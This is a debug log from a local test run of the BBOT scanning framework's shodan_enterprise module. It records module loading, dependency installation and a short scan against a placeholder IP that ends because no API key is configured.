bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 18:09:42,843 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 18:09:42,844 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 18:09:42,845 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 18:09:42,846 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 18:09:42,847 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 18:09:42,847 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 18:09:42,848 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 18:09:42,849 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 18:09:42,849 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 18:09:42,850 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 18:09:42,851 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 18:09:42,852 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 18:09:42,853 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 18:09:42,853 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 18:09:42,854 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 18:09:42,855 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 18:09:42,855 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 18:09:42,856 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 18:09:42,857 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 18:09:42,857 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 18:09:42,858 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 18:09:42,859 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 18:09:42,859 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 18:09:42,860 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 18:09:42,861 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 18:09:42,862 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 18:09:42,863 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 18:09:42,863 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 18:09:42,864 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 18:09:42,865 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 18:09:42,865 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 18:09:42,866 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 18:09:42,867 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 18:09:42,868 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 18:09:42,868 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 18:09:42,869 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 18:09:42,870 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 18:09:42,870 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 18:09:42,871 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 18:09:42,872 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 18:09:42,873 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 18:09:42,873 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 18:09:42,874 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 18:09:42,874 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 18:09:42,875 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 18:09:42,875 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 18:09:42,876 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 18:09:42,877 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 18:09:42,877 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 18:09:42,878 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 18:09:42,878 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 18:09:42,879 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 18:09:42,880 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 18:09:42,881 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 18:09:42,882 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 18:09:42,882 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 18:09:42,883 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 18:09:42,884 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 18:09:42,885 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 18:09:42,886 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 18:09:42,886 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 18:09:42,887 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 18:09:42,888 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 18:09:42,889 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 18:09:42,890 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 18:09:42,890 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 18:09:42,891 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 18:09:42,892 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 18:09:42,892 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 18:09:42,893 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 18:09:42,894 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 18:09:42,894 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 18:09:42,895 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 18:09:42,896 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 18:09:42,896 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 18:09:42,897 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 18:09:42,898 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 18:09:42,898 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 18:09:42,899 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 18:09:42,900 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 18:09:42,901 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 18:09:42,904 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 18:09:42,904 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 18:09:42,905 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 18:09:42,906 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 18:09:42,907 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 18:09:42,908 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 18:09:42,909 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 18:09:42,910 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 18:09:42,910 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 18:09:42,911 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 18:09:42,911 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 18:09:42,912 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 18:09:43,984 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 18:09:43,984 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 18:09:43,985 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 18:09:44,120 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 18:09:44,687 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 18:09:44,688 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 18:09:44,688 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 18:09:44,688 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 18:09:44,892 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 18:09:44,894 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 18:09:45,003 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 18:09:45,003 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 18:09:45,057 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 18:09:45,067 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 18:09:45,067 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 18:09:46,148 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 18:09:46,149 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 18:11:06,332 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 18:11:06,333 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 18:11:06,333 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 18:11:08,331 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 18:11:08,332 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 18:11:08,337 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:11:08,338 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 18:11:08,338 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:11:08,338 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 18:11:08,339 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:11:08,339 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 18:11:08,340 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 18:11:08,340 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 18:11:08,344 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/ndll42uhbapkvubuoe8w +2026-02-27 18:11:09,601 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 18:11:09,602 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 18:11:09,602 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:11:09,603 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 18:11:09,604 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 18:11:09,734 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 18:11:09,734 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 18:11:09,734 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 18:11:09,739 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 18:11:09,740 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 18:11:09,740 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 18:11:09,741 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 18:11:09,742 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 18:11:09,742 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 18:11:09,743 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 18:11:09,743 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 18:11:09,744 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 18:11:09,744 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 18:11:09,744 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 18:11:09,744 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 18:11:09,744 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 18:11:09,744 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 18:11:09,745 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 18:11:09,745 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 18:11:09,745 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 18:11:09,745 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 18:11:09,745 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 18:11:09,745 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 18:11:09,746 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 18:11:09,746 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 18:11:09,746 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 18:11:09,746 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 18:11:09,746 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 18:11:09,746 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 18:11:09,746 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 18:11:09,747 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 18:11:09,747 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 18:11:09,747 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 18:11:09,747 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 18:11:09,748 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 18:11:09,748 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 18:11:09,749 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 18:11:09,749 [INFO] bbot.scanner scanner.py:1191 Setup soft-failed for shodan_enterprise: No API key specified +2026-02-27 18:11:09,749 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 18:11:09,749 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 18:11:09,749 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 18:11:09,750 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 18:11:09,750 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 5/6 modules. +2026-02-27 18:11:09,750 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 18:11:09,750 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 18:11:09,888 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_u7lpb05scx +2026-02-27 18:11:09,889 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-02-27 18:11:09,997 [VERBOSE] bbot.scanner scanner.py:1181 5 modules started +2026-02-27 18:11:09,997 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 18:11:09,998 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 18:11:09,999 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) +2026-02-27 18:11:10,101 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:6cb56378c7bdb1e73b952229ba3bb3f216c964c4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 18:11:10,102 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:6cb56378c7bdb1e73b952229ba3bb3f216c964c4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:11:10,103 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:6cb56378c7bdb1e73b952229ba3bb3f216c964c4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:11:10,104 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) passed post-check +2026-02-27 18:11:10,104 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) +2026-02-27 18:11:10,105 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:6cb56378c7bdb1e73b952229ba3bb3f216c964c4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 18:11:10,106 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:6cb56378c7bdb1e73b952229ba3bb3f216c964c4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:11:10,107 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) in-scope because its main host matches the scan target +2026-02-27 18:11:10,108 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:6cb56378c7bdb1e73b952229ba3bb3f216c964c4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 18:11:10,109 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:6cb56378c7bdb1e73b952229ba3bb3f216c964c4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:11:10,109 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-02-27 18:11:10,110 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check +2026-02-27 18:11:10,110 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-02-27 18:11:10,111 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:6cb56378c7bdb1e73b952229ba3bb3f216c964c4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:11:10,112 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:6cb56378c7bdb1e73b952229ba3bb3f216c964c4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-02-27 18:11:10,118 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-02-27 18:11:10,118 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check +2026-02-27 18:11:10,119 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-02-27 18:11:10,119 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-02-27 18:11:10,120 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) because precheck succeeded +2026-02-27 18:11:10,200 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:6cb56378c7bdb1e73b952229ba3bb3f216c964c4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-02-27 18:11:10,201 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:6cb56378c7bdb1e73b952229ba3bb3f216c964c4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 18:11:10,202 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) from TARGET +2026-02-27 18:11:10,202 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check +2026-02-27 18:11:10,203 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-02-27 18:11:10,203 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-02-27 18:11:10,204 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-02-27 18:11:10,204 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-02-27 18:11:10,205 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-02-27 18:11:10,205 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-02-27 18:11:10,306 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-02-27 18:11:10,306 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-02-27 18:11:10,323 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-02-27 18:11:10,325 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-02-27 18:11:10,326 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 40 tasks +2026-02-27 18:11:10,335 [DEBUG] bbot.scanner scanner.py:1176 Awaited 40 tasks +2026-02-27 18:11:10,335 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-02-27 18:11:10,336 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-02-27 18:11:10,337 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-02-27 18:11:10,338 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 18:11:10,339 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 18:11:10,465 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_u7lpb05scx completed in 0 seconds with status FINISHED +2026-02-27 18:11:10,465 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-02-27 18:11:10,466 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 18:11:10,467 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test +2026-02-27 18:11:10,468 